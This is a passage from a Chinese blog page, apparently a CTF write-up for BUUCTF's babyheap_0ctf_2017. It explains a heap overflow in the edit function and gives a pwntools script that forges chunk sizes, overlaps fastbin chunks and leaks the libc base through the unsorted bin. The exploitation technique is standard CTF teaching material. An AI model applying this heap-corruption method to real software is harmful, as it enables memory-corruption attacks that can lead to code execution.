当前位置: 首页 > news >正文

BUUCTF Pwn babyheap_0ctf_2017 Unsorted bin attack部分

checksec exeinfo

开启了全保护 64位

查看函数:

堆题 增删查改齐了

可以在编辑堆的时候重新设置大小 存在堆溢出

delete函数的指针清零了 无UAF

想法是通过unsorted bin泄露libc基址:

from pwn import *

p = process('./babyheap')
#p = remote("node5.buuoj.cn", 25783)
context.log_level = 'debug'

def add(size):
    p.sendlineafter("Command: ", str(1))
    p.sendlineafter("Size: ", str(size))

def edit(index, size, content):
    p.sendlineafter("Command: ", str(2))
    p.sendlineafter("Index: ", str(index))
    p.sendlineafter("Size: ", str(size))

    p.sendlineafter("Content: ", content)
def delete(index):
    p.sendlineafter("Command: ", str(3))
    p.sendlineafter("Index: ", str(index))

def show(index):
    p.sendlineafter("Command: ", str(4))
    p.sendlineafter("Index: ", str(index))

add(0x10) #chunk0 方便修改接下来的chunk 
add(0x10) #chunk1 让chunk2变为fastbin的fd指针先指向它
add(0x10) #chunk2 修改fd 使其指向chunk4
add(0x10) #chunk3 方便让chunk4绕过fastbin检查并复原
add(0x80) #chunk4 最终unsortedbin指针的存放处
delete(1) 
delete(2) 

gdb.attach(p)
pause()

payload = p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p8(0x80)
edit(0, len(payload), payload)
#将chunk2的末8位改为0x80(指向chunk4)

payload = p64(0) * 3 + p64(0x21)
edit(3, len(payload), payload)
#暂时修改chunk4的大小使其能够被加入fastbin链表

add(0x10)
add(0x10)
#两次malloc0x10让第二次的malloc为chunk4

payload = p64(0) * 3 + p64(0x91)
edit(3, len(payload), payload)
#大小改回来

add(0x80)
delete(4)
pause()
#此时chunk4进入了unsorted bin链表 此时chunk2指向chunk4
show(2)
p.recvline()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\0')) - 0x3c4b78
print(hex(libc_base))
pause()

偏移使用gdb查看:

图示:

相关文章:

  • Rust语言的物理引擎
  • 嵌入式硬件篇---PWM输出通道定时器
  • JavaScript中通过array.map()实现数据转换、创建派生数组、异步数据流处理、复杂API请求、DOM操作、搜索和过滤等,array.map()的使用详解(附实际应用代码)
  • FreeRTOS移植并实现一个多任务程序
  • mysql中查询没有主键的表
  • 《Python深度学习》第五讲:文本处理中的深度学习
  • 一学就会:A*算法详细介绍(Python)
  • springcloud, nacos使用rabbitMq
  • 前端面试项目拷打
  • Django:内置和自定义中间件
  • Java集合的底层原理
  • 深入解析ES6+新语法:复杂的迭代器与生成器
  • 【css酷炫效果】纯CSS实现手风琴折叠效果
  • navicat导出文件密码解密
  • vue3二次封装tooltip实现el-table中的show-overflow-tooltip效果
  • 003 SpringCloud整合-LogStash安装及ELK日志收集
  • Spring Boot集成JWT:打造安全的RESTful API
  • Linux上离线安装PyTorch教程:No module named ‘_bz2:No module named ‘_lzma‘
  • 单元测试mock
  • 蓝桥杯备考:特殊01背包问题——》集合subset
  • 巴国家安全委员会授权军方自主决定对印反击措施
  • 观察|印巴交火开始升级,是否会升级为第四次印巴战争?
  • 一网红被指涉脱衣殴打霸凌事件,沈阳警方:刑拘1人,处罚5人
  • 五月A股怎么买?券商金股电子权重第一,格力电器最热
  • 关税风暴下,3G资本拟94亿美元私有化美国鞋履巨头斯凯奇,溢价30%
  • 刘诚宇、杨皓宇进球背后,是申花本土球员带着外援踢的无奈